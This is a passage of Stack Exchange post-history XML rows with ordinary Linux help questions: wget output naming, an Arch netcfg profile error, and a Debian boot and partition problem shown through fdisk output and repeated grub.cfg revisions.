  <row Id="30225" PostHistoryTypeId="17" PostId="12353" RevisionGUID="ef17805d-a84a-4a61-ac8b-ffa1a33900d3" CreationDate="2011-04-30T05:46:17.093" UserId="-1" Comment="from http://stackoverflow.com/questions/5800858/unexpected-behavior-from-wget/5800874#5800874" Text="" />
  <row Id="30226" PostHistoryTypeId="2" PostId="12353" RevisionGUID="42e735bd-ba4a-4d32-9816-439bd3bf615f" CreationDate="2011-04-27T07:39:02.447" UserId="1419" Text="Use the `-O` option:&#xD;&#xA;&#xD;&#xA;    wget &quot;http://www.finance.yahoo.com/q/op?s=GOOG&quot; -O goog.txt " />
  <row Id="30227" PostHistoryTypeId="2" PostId="12352" RevisionGUID="25b12dbf-5f38-4642-867e-25f955a552ef" CreationDate="2011-04-27T07:37:22.293" UserDisplayName="Kevin" Text="I'm trying to use wget to save the text of a web page. I run:&#xD;&#xA;&#xD;&#xA;    wget &quot;http://www.finance.yahoo.com/q/op?s=GOOG&quot; &gt; goog.txt &#xD;&#xA;&#xD;&#xA;to try and save the web page to goog.txt, but instead wget tells me:&#xD;&#xA;&#xD;&#xA;    Saving to: `op?s=GOOG'&#xD;&#xA;&#xD;&#xA;Why is wget acting like this, and how can I get the expected behavior?" />
  <row Id="30228" PostHistoryTypeId="1" PostId="12352" RevisionGUID="25b12dbf-5f38-4642-867e-25f955a552ef" CreationDate="2011-04-27T07:37:22.293" UserDisplayName="Kevin" Text="unexpected behavior from wget" />
  <row Id="30229" PostHistoryTypeId="3" PostId="12352" RevisionGUID="25b12dbf-5f38-4642-867e-25f955a552ef" CreationDate="2011-04-27T07:37:22.293" UserDisplayName="Kevin" Text="écommandölineàéterminalàéwgetà" />
  <row Id="30230" PostHistoryTypeId="17" PostId="12352" RevisionGUID="e2430189-3a1d-4f4f-be8d-128414ef4907" CreationDate="2011-04-30T05:46:17.093" UserId="-1" Comment="from http://stackoverflow.com/questions/5800858/unexpected-behavior-from-wget" Text="" />
  <row Id="30232" PostHistoryTypeId="2" PostId="12354" RevisionGUID="a0503ff6-4aff-4d35-bcf5-600a8b135d52" CreationDate="2011-04-30T07:01:02.060" UserId="3496" Text="To setup automatic wireless connection in Arch I configured netcfg as directed in the [Arch wiki][1]. When I try &#xD;&#xA;&#xD;&#xA;    [root@geckko ~]# netcfg adsl&#xD;&#xA;&#xD;&#xA;however it gives an error &#xD;&#xA;&#xD;&#xA;     &gt; Profile &quot;adsl&quot; does not exist &#xD;&#xA;&#xD;&#xA;The profile does exist as I have checked- &#xD;&#xA;&#xD;&#xA;    [root@geckko network.d]# ls&#xD;&#xA;    adsl  examples	hooks  interfaces&#xD;&#xA;&#xD;&#xA;I Googled and found [this thread][2] in the Arch forum but I'm pretty sure I haven't made the same mistake the author of that thread has made. How can I solve this issue?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.archlinux.org/index.php/Netcfg&#xD;&#xA;  [2]: https://bbs.archlinux.org/viewtopic.php?id=82773" />
  <row Id="30233" PostHistoryTypeId="1" PostId="12354" RevisionGUID="a0503ff6-4aff-4d35-bcf5-600a8b135d52" CreationDate="2011-04-30T07:01:02.060" UserId="3496" Text="netcfg error in arch- 'Profile doesn't exist'" />
  <row Id="30234" PostHistoryTypeId="3" PostId="12354" RevisionGUID="a0503ff6-4aff-4d35-bcf5-600a8b135d52" CreationDate="2011-04-30T07:01:02.060" UserId="3496" Text="éarchölinuxàéwirelessàénetworkingà" />
  <row Id="30235" PostHistoryTypeId="2" PostId="12355" RevisionGUID="75b7a32c-75f0-44a4-accc-a97087a8e2a9" CreationDate="2011-04-30T07:28:11.653" UserId="2657" Text="While installing Debian 6.0 I went with manual partitioning and apparantly messed up.&#xD;&#xA;OS only loads if I start computer in recovery mode and fdisk output doesn't have primary partition. AFAIK - I must have at least 1 primary partition for PC to boot - right? Is there a way to convert partition from exteneded to primary?&#xD;&#xA;&#xD;&#xA;now my partition table looks like this:&#xD;&#xA;&#xD;&#xA;    cme@cmehost:~$ sudo fdisk -c -l /dev/sda&#xD;&#xA;    &#xD;&#xA;    Disk /dev/sda: 500.1 GB, 500107862016 bytes&#xD;&#xA;    255 heads, 63 sectors/track, 60801 cylinders&#xD;&#xA;    Units = cylinders of 16065 * 512 = 8225280 bytes&#xD;&#xA;    Sector size (logical/physical): 512 bytes / 512 bytes&#xD;&#xA;    I/O size (minimum/optimal): 512 bytes / 512 bytes&#xD;&#xA;    Disk identifier: 0x00010629&#xD;&#xA;    &#xD;&#xA;       Device Boot      Start         End      Blocks   Id  System&#xD;&#xA;    /dev/sda1               1        1216     9764864   82  Linux swap / Solaris&#xD;&#xA;    /dev/sda2            1216       60802   478618625    5  Extended&#xD;&#xA;    /dev/sda5            1216        6091    39158784   83  Linux&#xD;&#xA;    /dev/sda6            6092       60802   439458816   83  Linux&#xD;&#xA;&#xD;&#xA;" />
  <row Id="30236" PostHistoryTypeId="1" PostId="12355" RevisionGUID="75b7a32c-75f0-44a4-accc-a97087a8e2a9" CreationDate="2011-04-30T07:28:11.653" UserId="2657" Text="Debian 6.0 manual disk partitioning question." />
  <row Id="30237" PostHistoryTypeId="3" PostId="12355" RevisionGUID="75b7a32c-75f0-44a4-accc-a97087a8e2a9" CreationDate="2011-04-30T07:28:11.653" UserId="2657" Text="édebianàégrubàégrub2à" />
  <row Id="30238" PostHistoryTypeId="5" PostId="12355" RevisionGUID="e92c9669-f811-4b3a-8869-2f0f6446c233" CreationDate="2011-04-30T07:47:08.947" UserId="2657" Comment="added 37 characters in body" Text="While installing Debian 6.0 I went with manual partitioning and apparantly messed up.&#xD;&#xA;OS only loads if I start computer in recovery mode and fdisk output doesn't have primary partition. AFAIK - I must have at least 1 primary partition for PC to boot - right? Is there a way to convert partition from exteneded to primary?&#xD;&#xA;&#xD;&#xA;now my partition table looks like this:&#xD;&#xA;&#xD;&#xA;       cme@cmehost:~$ sudo fdisk -c -l /dev/sda&#xD;&#xA;        &#xD;&#xA;        Disk /dev/sda: 500.1 GB, 500107862016 bytes&#xD;&#xA;        255 heads, 63 sectors/track, 60801 cylinders&#xD;&#xA;        Units = cylinders of 16065 * 512 = 8225280 bytes&#xD;&#xA;        Sector size (logical/physical): 512 bytes / 512 bytes&#xD;&#xA;        I/O size (minimum/optimal): 512 bytes / 512 bytes&#xD;&#xA;        Disk identifier: 0x00010629&#xD;&#xA;        &#xD;&#xA;       Device Boot      Start         End      Blocks   Id  System&#xD;&#xA;    /dev/sda1               1        1216     9764864   82  Linux swap / Solaris&#xD;&#xA;    /dev/sda2            1216       60802   478618625    5  Extended&#xD;&#xA;    /dev/sda5   *        1216        6091    39158784   83  Linux&#xD;&#xA;    /dev/sda6            6092       60802   439458816   83  Linux&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="30239" PostHistoryTypeId="5" PostId="12355" RevisionGUID="f3c95833-5f72-4e3c-9419-7724ea11d731" CreationDate="2011-04-30T07:54:22.073" UserId="2657" Comment="added 3698 characters in body" Text="While installing Debian 6.0 I went with manual partitioning and apparantly messed up.&#xD;&#xA;OS only loads if I start computer in recovery mode and fdisk output doesn't have primary partition. AFAIK - I must have at least 1 primary partition for PC to boot - right? Is there a way to convert partition from exteneded to primary?&#xD;&#xA;&#xD;&#xA;now my partition table looks like this:&#xD;&#xA;&#xD;&#xA;       cme@cmehost:~$ sudo fdisk -c -l /dev/sda&#xD;&#xA;        &#xD;&#xA;        Disk /dev/sda: 500.1 GB, 500107862016 bytes&#xD;&#xA;        255 heads, 63 sectors/track, 60801 cylinders&#xD;&#xA;        Units = cylinders of 16065 * 512 = 8225280 bytes&#xD;&#xA;        Sector size (logical/physical): 512 bytes / 512 bytes&#xD;&#xA;        I/O size (minimum/optimal): 512 bytes / 512 bytes&#xD;&#xA;        Disk identifier: 0x00010629&#xD;&#xA;        &#xD;&#xA;       Device Boot      Start         End      Blocks   Id  System&#xD;&#xA;    /dev/sda1               1        1216     9764864   82  Linux swap / Solaris&#xD;&#xA;    /dev/sda2            1216       60802   478618625    5  Extended&#xD;&#xA;    /dev/sda5   *        1216        6091    39158784   83  Linux&#xD;&#xA;    /dev/sda6            6092       60802   439458816   83  Linux&#xD;&#xA;&#xD;&#xA;**UPDATE 1 - /boot/grub/grub.cfg**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    # DO NOT EDIT THIS FILE&#xD;&#xA;    #&#xD;&#xA;    # It is automatically generated by grub-mkconfig using templates&#xD;&#xA;    # from /etc/grub.d and settings from /etc/default/grub&#xD;&#xA;    #&#xD;&#xA;    &#xD;&#xA;    ### BEGIN /etc/grub.d/00_header ###&#xD;&#xA;    if [ -s $prefix/grubenv ]; then&#xD;&#xA;      load_env&#xD;&#xA;    fi&#xD;&#xA;    set default=&quot;0&quot;&#xD;&#xA;    if [ &quot;${prev_saved_entry}&quot; ]; then&#xD;&#xA;      set saved_entry=&quot;${prev_saved_entry}&quot;&#xD;&#xA;      save_env saved_entry&#xD;&#xA;      set prev_saved_entry=&#xD;&#xA;      save_env prev_saved_entry&#xD;&#xA;      set boot_once=true&#xD;&#xA;    fi&#xD;&#xA;    &#xD;&#xA;    function savedefault {&#xD;&#xA;      if [ -z &quot;${boot_once}&quot; ]; then&#xD;&#xA;        saved_entry=&quot;${chosen}&quot;&#xD;&#xA;        save_env saved_entry&#xD;&#xA;      fi&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    function load_video {&#xD;&#xA;      insmod vbe&#xD;&#xA;      insmod vga&#xD;&#xA;      insmod video_bochs&#xD;&#xA;      insmod video_cirrus&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    insmod part_msdos&#xD;&#xA;    insmod ext2&#xD;&#xA;    set root='(hd1,msdos5)'&#xD;&#xA;    search --no-floppy --fs-uuid --set 19b27164-6e7a-4d55-89be-9986c2a5fe73&#xD;&#xA;    if loadfont /usr/share/grub/unicode.pf2 ; then&#xD;&#xA;      set gfxmode=640x480&#xD;&#xA;      load_video&#xD;&#xA;      insmod gfxterm&#xD;&#xA;    fi&#xD;&#xA;    terminal_output gfxterm&#xD;&#xA;    insmod part_msdos&#xD;&#xA;    insmod ext2&#xD;&#xA;    set root='(hd1,msdos5)'&#xD;&#xA;    search --no-floppy --fs-uuid --set 19b27164-6e7a-4d55-89be-9986c2a5fe73&#xD;&#xA;    set locale_dir=($root)/boot/grub/locale&#xD;&#xA;    set lang=en&#xD;&#xA;    insmod gettext&#xD;&#xA;    set timeout=5&#xD;&#xA;    ### END /etc/grub.d/00_header ###&#xD;&#xA;    &#xD;&#xA;    ### BEGIN /etc/grub.d/05_debian_theme ###&#xD;&#xA;    insmod part_msdos&#xD;&#xA;    insmod ext2&#xD;&#xA;    set root='(hd1,msdos5)'&#xD;&#xA;    search --no-floppy --fs-uuid --set 19b27164-6e7a-4d55-89be-9986c2a5fe73&#xD;&#xA;    insmod png&#xD;&#xA;    if background_image /usr/share/images/desktop-base/spacefun-grub.png; then&#xD;&#xA;      set color_normal=light-gray/black&#xD;&#xA;      set color_highlight=white/black&#xD;&#xA;    else&#xD;&#xA;      set menu_color_normal=cyan/blue&#xD;&#xA;      set menu_color_highlight=white/blue&#xD;&#xA;    fi&#xD;&#xA;    ### END /etc/grub.d/05_debian_theme ###&#xD;&#xA;    &#xD;&#xA;    ### BEGIN /etc/grub.d/10_linux ###&#xD;&#xA;    menuentry 'Debian GNU/Linux, with Linux 2.6.32-5-amd64' --class debian --class gnu-linux --class gnu --class os {&#xD;&#xA;    	insmod part_msdos&#xD;&#xA;    	insmod ext2&#xD;&#xA;    	set root='(hd1,msdos5)'&#xD;&#xA;    	search --no-floppy --fs-uuid --set 19b27164-6e7a-4d55-89be-9986c2a5fe73&#xD;&#xA;    	echo	'Loading Linux 2.6.32-5-amd64 ...'&#xD;&#xA;    	linux	/boot/vmlinuz-2.6.32-5-amd64 root=UUID=19b27164-6e7a-4d55-89be-9986c2a5fe73 ro  quiet&#xD;&#xA;    	echo	'Loading initial ramdisk ...'&#xD;&#xA;    	initrd	/boot/initrd.img-2.6.32-5-amd64&#xD;&#xA;    }&#xD;&#xA;    menuentry 'Debian GNU/Linux, with Linux 2.6.32-5-amd64 (recovery mode)' --class debian --class gnu-linux --class gnu --class os {&#xD;&#xA;    	insmod part_msdos&#xD;&#xA;    	insmod ext2&#xD;&#xA;    	set root='(hd1,msdos5)'&#xD;&#xA;    	search --no-floppy --fs-uuid --set 19b27164-6e7a-4d55-89be-9986c2a5fe73&#xD;&#xA;    	echo	'Loading Linux 2.6.32-5-amd64 ...'&#xD;&#xA;    	linux	/boot/vmlinuz-2.6.32-5-amd64 root=UUID=19b27164-6e7a-4d55-89be-9986c2a5fe73 ro single &#xD;&#xA;    	echo	'Loading initial ramdisk ...'&#xD;&#xA;    	initrd	/boot/initrd.img-2.6.32-5-amd64&#xD;&#xA;    }&#xD;&#xA;    ### END /etc/grub.d/10_linux ###&#xD;&#xA;    &#xD;&#xA;    ### BEGIN /etc/grub.d/20_linux_xen ###&#xD;&#xA;    ### END /etc/grub.d/20_linux_xen ###&#xD;&#xA;    &#xD;&#xA;    ### BEGIN /etc/grub.d/30_os-prober ###&#xD;&#xA;    ### END /etc/grub.d/30_os-prober ###&#xD;&#xA;    &#xD;&#xA;    ### BEGIN /etc/grub.d/40_custom ###&#xD;&#xA;    # This file provides an easy way to add custom menu entries.  Simply type the&#xD;&#xA;    # menu entries you want to add after this comment.  Be careful not to change&#xD;&#xA;    # the 'exec tail' line above.&#xD;&#xA;    ### END /etc/grub.d/40_custom ###&#xD;&#xA;    &#xD;&#xA;    ### BEGIN /etc/grub.d/41_custom ###&#xD;&#xA;    if [ -f  $prefix/custom.cfg ]; then&#xD;&#xA;      source $prefix/custom.cfg;&#xD;&#xA;    fi&#xD;&#xA;    ### END /etc/grub.d/41_custom ###&#xD;&#xA;&#xD;&#xA;" />
  <row Id="30240" PostHistoryTypeId="5" PostId="12355" RevisionGUID="0cef609f-3d08-4390-9490-3911bb84a20e" CreationDate="2011-04-30T08:04:00.407" UserId="2657" Comment="added 122 characters in body" Text="While installing Debian 6.0 I went with manual partitioning and apparantly messed up.&#xD;&#xA;OS only loads if I start computer in recovery mode and fdisk output doesn't have primary partition. AFAIK - I must have at least 1 primary partition for PC to boot - right? Is there a way to convert partition from exteneded to primary?&#xD;&#xA;&#xD;&#xA;now my partition table looks like this:&#xD;&#xA;&#xD;&#xA;       cme@cmehost:~$ sudo fdisk -c -l /dev/sda&#xD;&#xA;        &#xD;&#xA;        Disk /dev/sda: 500.1 GB, 500107862016 bytes&#xD;&#xA;        255 heads, 63 sectors/track, 60801 cylinders&#xD;&#xA;        Units = cylinders of 16065 * 512 = 8225280 bytes&#xD;&#xA;        Sector size (logical/physical): 512 bytes / 512 bytes&#xD;&#xA;        I/O size (minimum/optimal): 512 bytes / 512 bytes&#xD;&#xA;        Disk identifier: 0x00010629&#xD;&#xA;        &#xD;&#xA;       Device Boot      Start         End      Blocks   Id  System&#xD;&#xA;    /dev/sda1               1        1216     9764864   82  Linux swap / Solaris&#xD;&#xA;    /dev/sda2            1216       60802   478618625    5  Extended&#xD;&#xA;    /dev/sda5   *        1216        6091    39158784   83  Linux&#xD;&#xA;    /dev/sda6            6092       60802   439458816   83  Linux&#xD;&#xA;&#xD;&#xA;**UPDATE 1 - /boot/grub/grub.cfg**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    # DO NOT EDIT THIS FILE&#xD;&#xA;    #&#xD;&#xA;    # It is automatically generated by grub-mkconfig using templates&#xD;&#xA;    # from /etc/grub.d and settings from /etc/default/grub&#xD;&#xA;    #&#xD;&#xA;    &#xD;&#xA;    ### BEGIN /etc/grub.d/00_header ###&#xD;&#xA;    if [ -s $prefix/grubenv ]; then&#xD;&#xA;      load_env&#xD;&#xA;    fi&#xD;&#xA;    set default=&quot;0&quot;&#xD;&#xA;    if [ &quot;${prev_saved_entry}&quot; ]; then&#xD;&#xA;      set saved_entry=&quot;${prev_saved_entry}&quot;&#xD;&#xA;      save_env saved_entry&#xD;&#xA;      set prev_saved_entry=&#xD;&#xA;      save_env prev_saved_entry&#xD;&#xA;      set boot_once=true&#xD;&#xA;    fi&#xD;&#xA;    &#xD;&#xA;    function savedefault {&#xD;&#xA;      if [ -z &quot;${boot_once}&quot; ]; then&#xD;&#xA;        saved_entry=&quot;${chosen}&quot;&#xD;&#xA;        save_env saved_entry&#xD;&#xA;      fi&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    function load_video {&#xD;&#xA;      insmod vbe&#xD;&#xA;      insmod vga&#xD;&#xA;      insmod video_bochs&#xD;&#xA;      insmod video_cirrus&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    insmod part_msdos&#xD;&#xA;    insmod ext2&#xD;&#xA;    set root='(hd1,msdos5)'&#xD;&#xA;    search --no-floppy --fs-uuid --set 19b27164-6e7a-4d55-89be-9986c2a5fe73&#xD;&#xA;    if loadfont /usr/share/grub/unicode.pf2 ; then&#xD;&#xA;      set gfxmode=640x480&#xD;&#xA;      load_video&#xD;&#xA;      insmod gfxterm&#xD;&#xA;    fi&#xD;&#xA;    terminal_output gfxterm&#xD;&#xA;    insmod part_msdos&#xD;&#xA;    insmod ext2&#xD;&#xA;    set root='(hd1,msdos5)'&#xD;&#xA;    search --no-floppy --fs-uuid --set 19b27164-6e7a-4d55-89be-9986c2a5fe73&#xD;&#xA;    set locale_dir=($root)/boot/grub/locale&#xD;&#xA;    set lang=en&#xD;&#xA;    insmod gettext&#xD;&#xA;    set timeout=5&#xD;&#xA;    ### END /etc/grub.d/00_header ###&#xD;&#xA;    &#xD;&#xA;    ### BEGIN /etc/grub.d/05_debian_theme ###&#xD;&#xA;    insmod part_msdos&#xD;&#xA;    insmod ext2&#xD;&#xA;    set root='(hd1,msdos5)'&#xD;&#xA;    search --no-floppy --fs-uuid --set 19b27164-6e7a-4d55-89be-9986c2a5fe73&#xD;&#xA;    insmod png&#xD;&#xA;    if background_image /usr/share/images/desktop-base/spacefun-grub.png; then&#xD;&#xA;      set color_normal=light-gray/black&#xD;&#xA;      set color_highlight=white/black&#xD;&#xA;    else&#xD;&#xA;      set menu_color_normal=cyan/blue&#xD;&#xA;      set menu_color_highlight=white/blue&#xD;&#xA;    fi&#xD;&#xA;    ### END /etc/grub.d/05_debian_theme ###&#xD;&#xA;    &#xD;&#xA;    ### BEGIN /etc/grub.d/10_linux ###&#xD;&#xA;    menuentry 'Debian GNU/Linux, with Linux 2.6.32-5-amd64' --class debian --class gnu-linux --class gnu --class os {&#xD;&#xA;    	insmod part_msdos&#xD;&#xA;    	insmod ext2&#xD;&#xA;    	set root='(hd1,msdos5)'&#xD;&#xA;    	search --no-floppy --fs-uuid --set 19b27164-6e7a-4d55-89be-9986c2a5fe73&#xD;&#xA;    	echo	'Loading Linux 2.6.32-5-amd64 ...'&#xD;&#xA;    	linux	/boot/vmlinuz-2.6.32-5-amd64 root=UUID=19b27164-6e7a-4d55-89be-9986c2a5fe73 ro  quiet&#xD;&#xA;    	echo	'Loading initial ramdisk ...'&#xD;&#xA;    	initrd	/boot/initrd.img-2.6.32-5-amd64&#xD;&#xA;    }&#xD;&#xA;    menuentry 'Debian GNU/Linux, with Linux 2.6.32-5-amd64 (recovery mode)' --class debian --class gnu-linux --class gnu --class os {&#xD;&#xA;    	insmod part_msdos&#xD;&#xA;    	insmod ext2&#xD;&#xA;    	set root='(hd1,msdos5)'&#xD;&#xA;    	search --no-floppy --fs-uuid --set 19b27164-6e7a-4d55-89be-9986c2a5fe73&#xD;&#xA;    	echo	'Loading Linux 2.6.32-5-amd64 ...'&#xD;&#xA;    	linux	/boot/vmlinuz-2.6.32-5-amd64 root=UUID=19b27164-6e7a-4d55-89be-9986c2a5fe73 ro single &#xD;&#xA;    	echo	'Loading initial ramdisk ...'&#xD;&#xA;    	initrd	/boot/initrd.img-2.6.32-5-amd64&#xD;&#xA;    }&#xD;&#xA;    ### END /etc/grub.d/10_linux ###&#xD;&#xA;    &#xD;&#xA;    ### BEGIN /etc/grub.d/20_linux_xen ###&#xD;&#xA;    ### END /etc/grub.d/20_linux_xen ###&#xD;&#xA;    &#xD;&#xA;    ### BEGIN /etc/grub.d/30_os-prober ###&#xD;&#xA;    ### END /etc/grub.d/30_os-prober ###&#xD;&#xA;    &#xD;&#xA;    ### BEGIN /etc/grub.d/40_custom ###&#xD;&#xA;    # This file provides an easy way to add custom menu entries.  Simply type the&#xD;&#xA;    # menu entries you want to add after this comment.  Be careful not to change&#xD;&#xA;    # the 'exec tail' line above.&#xD;&#xA;    ### END /etc/grub.d/40_custom ###&#xD;&#xA;    &#xD;&#xA;    ### BEGIN /etc/grub.d/41_custom ###&#xD;&#xA;    if [ -f  $prefix/custom.cfg ]; then&#xD;&#xA;      source $prefix/custom.cfg;&#xD;&#xA;    fi&#xD;&#xA;    ### END /etc/grub.d/41_custom ###&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**UPDATE 2 - boot log**&#xD;&#xA;&#xD;&#xA;mmm ... /var/loog/boot is empty - not sure if there are some other files I should check:)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="30241" PostHistoryTypeId="5" PostId="12354" RevisionGUID="ec7d8617-34ae-4e4e-9e66-d3586511ebcb" CreationDate="2011-04-30T08:24:11.630" UserId="3496" Comment="added permissions info." Text="To setup automatic wireless connection in Arch I configured netcfg as directed in the [Arch wiki][1]. When I try &#xD;&#xA;&#xD;&#xA;    [root@geckko ~]# netcfg adsl&#xD;&#xA;&#xD;&#xA;however it gives an error &#xD;&#xA;&#xD;&#xA;     &gt; Profile &quot;adsl&quot; does not exist &#xD;&#xA;&#xD;&#xA;The profile does exist as I have checked- &#xD;&#xA;&#xD;&#xA;    [root@geckko network.d]# ls&#xD;&#xA;    adsl  examples	hooks  interfaces&#xD;&#xA;&#xD;&#xA;I Googled and found [this thread][2] in the Arch forum but I'm pretty sure I haven't made the same mistake the author of that thread has made. How can I solve this issue?&#xD;&#xA;&#xD;&#xA;Here's the profile:&#xD;&#xA;&#xD;&#xA;    CONNECTION='wireless'&#xD;&#xA;    DESCRIPTION='A simple WPA encrypted wireless connection'&#xD;&#xA;    INTERFACE='wlan0'&#xD;&#xA;    SECURITY='wpa'&#xD;&#xA;    ESSID='essid'&#xD;&#xA;    KEY='secretkey'&#xD;&#xA;    IP='dhcp' &#xD;&#xA;&#xD;&#xA;And the permissions of the file:&#xD;&#xA;&#xD;&#xA;    Owner: root&#xD;&#xA;    Access: read and write&#xD;&#xA;    &#xD;&#xA;    Group: root&#xD;&#xA;    Access: Read-only&#xD;&#xA;    &#xD;&#xA;    Others: read-only&#xD;&#xA;    &#xD;&#xA;    You are not the owner, so you cannot change these permissions.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.archlinux.org/index.php/Netcfg&#xD;&#xA;  [2]: https://bbs.archlinux.org/viewtopic.php?id=82773" />
  <row Id="30242" PostHistoryTypeId="2" PostId="12356" RevisionGUID="ab07f486-74a2-476f-aa1e-4d6ccbdd31f8" CreationDate="2011-04-30T08:51:43.297" UserId="3493" Text="And how does it also autocomplete aliases?&#xD;&#xA;" />
  <row Id="30243" PostHistoryTypeId="1" PostId="12356" RevisionGUID="ab07f486-74a2-476f-aa1e-4d6ccbdd31f8" CreationDate="2011-04-30T08:51:43.297" UserId="3493" Text="How does TAB auto-complete find options to complete?" />
  <row Id="30244" PostHistoryTypeId="3" PostId="12356" RevisionGUID="ab07f486-74a2-476f-aa1e-4d6ccbdd31f8" CreationDate="2011-04-30T08:51:43.297" UserId="3493" Text="ébashàéautocompleteà" />
  <row Id="30245" PostHistoryTypeId="5" PostId="12355" RevisionGUID="9f4ba598-29fa-4686-ab88-3d6068022643" CreationDate="2011-04-30T08:53:46.803" UserId="2657" Comment="added 197 characters in body" Text="While installing Debian 6.0 I went with manual partitioning and apparantly messed up.&#xD;&#xA;OS only loads if I start computer in recovery mode and fdisk output doesn't have primary partition. AFAIK - I must have at least 1 primary partition for PC to boot - right? Is there a way to convert partition from exteneded to primary?&#xD;&#xA;&#xD;&#xA;now my partition table looks like this:&#xD;&#xA;&#xD;&#xA;       cme@cmehost:~$ sudo fdisk -c -l /dev/sda&#xD;&#xA;        &#xD;&#xA;        Disk /dev/sda: 500.1 GB, 500107862016 bytes&#xD;&#xA;        255 heads, 63 sectors/track, 60801 cylinders&#xD;&#xA;        Units = cylinders of 16065 * 512 = 8225280 bytes&#xD;&#xA;        Sector size (logical/physical): 512 bytes / 512 bytes&#xD;&#xA;        I/O size (minimum/optimal): 512 bytes / 512 bytes&#xD;&#xA;        Disk identifier: 0x00010629&#xD;&#xA;        &#xD;&#xA;       Device Boot      Start         End      Blocks   Id  System&#xD;&#xA;    /dev/sda1               1        1216     9764864   82  Linux swap / Solaris&#xD;&#xA;    /dev/sda2            1216       60802   478618625    5  Extended&#xD;&#xA;    /dev/sda5   *        1216        6091    39158784   83  Linux&#xD;&#xA;    /dev/sda6            6092       60802   439458816   83  Linux&#xD;&#xA;&#xD;&#xA;**UPDATE 1 - /boot/grub/grub.cfg**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    # DO NOT EDIT THIS FILE&#xD;&#xA;    #&#xD;&#xA;    # It is automatically generated by grub-mkconfig using templates&#xD;&#xA;    # from /etc/grub.d and settings from /etc/default/grub&#xD;&#xA;    #&#xD;&#xA;    &#xD;&#xA;    ### BEGIN /etc/grub.d/00_header ###&#xD;&#xA;    if [ -s $prefix/grubenv ]; then&#xD;&#xA;      load_env&#xD;&#xA;    fi&#xD;&#xA;    set default=&quot;0&quot;&#xD;&#xA;    if [ &quot;${prev_saved_entry}&quot; ]; then&#xD;&#xA;      set saved_entry=&quot;${prev_saved_entry}&quot;&#xD;&#xA;      save_env saved_entry&#xD;&#xA;      set prev_saved_entry=&#xD;&#xA;      save_env prev_saved_entry&#xD;&#xA;      set boot_once=true&#xD;&#xA;    fi&#xD;&#xA;    &#xD;&#xA;    function savedefault {&#xD;&#xA;      if [ -z &quot;${boot_once}&quot; ]; then&#xD;&#xA;        saved_entry=&quot;${chosen}&quot;&#xD;&#xA;        save_env saved_entry&#xD;&#xA;      fi&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    function load_video {&#xD;&#xA;      insmod vbe&#xD;&#xA;      insmod vga&#xD;&#xA;      insmod video_bochs&#xD;&#xA;      insmod video_cirrus&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    insmod part_msdos&#xD;&#xA;    insmod ext2&#xD;&#xA;    set root='(hd1,msdos5)'&#xD;&#xA;    search --no-floppy --fs-uuid --set 19b27164-6e7a-4d55-89be-9986c2a5fe73&#xD;&#xA;    if loadfont /usr/share/grub/unicode.pf2 ; then&#xD;&#xA;      set gfxmode=640x480&#xD;&#xA;      load_video&#xD;&#xA;      insmod gfxterm&#xD;&#xA;    fi&#xD;&#xA;    terminal_output gfxterm&#xD;&#xA;    insmod part_msdos&#xD;&#xA;    insmod ext2&#xD;&#xA;    set root='(hd1,msdos5)'&#xD;&#xA;    search --no-floppy --fs-uuid --set 19b27164-6e7a-4d55-89be-9986c2a5fe73&#xD;&#xA;    set locale_dir=($root)/boot/grub/locale&#xD;&#xA;    set lang=en&#xD;&#xA;    insmod gettext&#xD;&#xA;    set timeout=5&#xD;&#xA;    ### END /etc/grub.d/00_header ###&#xD;&#xA;    &#xD;&#xA;    ### BEGIN /etc/grub.d/05_debian_theme ###&#xD;&#xA;    insmod part_msdos&#xD;&#xA;    insmod ext2&#xD;&#xA;    set root='(hd1,msdos5)'&#xD;&#xA;    search --no-floppy --fs-uuid --set 19b27164-6e7a-4d55-89be-9986c2a5fe73&#xD;&#xA;    insmod png&#xD;&#xA;    if background_image /usr/share/images/desktop-base/spacefun-grub.png; then&#xD;&#xA;      set color_normal=light-gray/black&#xD;&#xA;      set color_highlight=white/black&#xD;&#xA;    else&#xD;&#xA;      set menu_color_normal=cyan/blue&#xD;&#xA;      set menu_color_highlight=white/blue&#xD;&#xA;    fi&#xD;&#xA;    ### END /etc/grub.d/05_debian_theme ###&#xD;&#xA;    &#xD;&#xA;    ### BEGIN /etc/grub.d/10_linux ###&#xD;&#xA;    menuentry 'Debian GNU/Linux, with Linux 2.6.32-5-amd64' --class debian --class gnu-linux --class gnu --class os {&#xD;&#xA;    	insmod part_msdos&#xD;&#xA;    	insmod ext2&#xD;&#xA;    	set root='(hd1,msdos5)'&#xD;&#xA;    	search --no-floppy --fs-uuid --set 19b27164-6e7a-4d55-89be-9986c2a5fe73&#xD;&#xA;    	echo	'Loading Linux 2.6.32-5-amd64 ...'&#xD;&#xA;    	linux	/boot/vmlinuz-2.6.32-5-amd64 root=UUID=19b27164-6e7a-4d55-89be-9986c2a5fe73 ro  quiet&#xD;&#xA;    	echo	'Loading initial ramdisk ...'&#xD;&#xA;    	initrd	/boot/initrd.img-2.6.32-5-amd64&#xD;&#xA;    }&#xD;&#xA;    menuentry 'Debian GNU/Linux, with Linux 2.6.32-5-amd64 (recovery mode)' --class debian --class gnu-linux --class gnu --class os {&#xD;&#xA;    	insmod part_msdos&#xD;&#xA;    	insmod ext2&#xD;&#xA;    	set root='(hd1,msdos5)'&#xD;&#xA;    	search --no-floppy --fs-uuid --set 19b27164-6e7a-4d55-89be-9986c2a5fe73&#xD;&#xA;    	echo	'Loading Linux 2.6.32-5-amd64 ...'&#xD;&#xA;    	linux	/boot/vmlinuz-2.6.32-5-amd64 root=UUID=19b27164-6e7a-4d55-89be-9986c2a5fe73 ro single &#xD;&#xA;    	echo	'Loading initial ramdisk ...'&#xD;&#xA;    	initrd	/boot/initrd.img-2.6.32-5-amd64&#xD;&#xA;    }&#xD;&#xA;    ### END 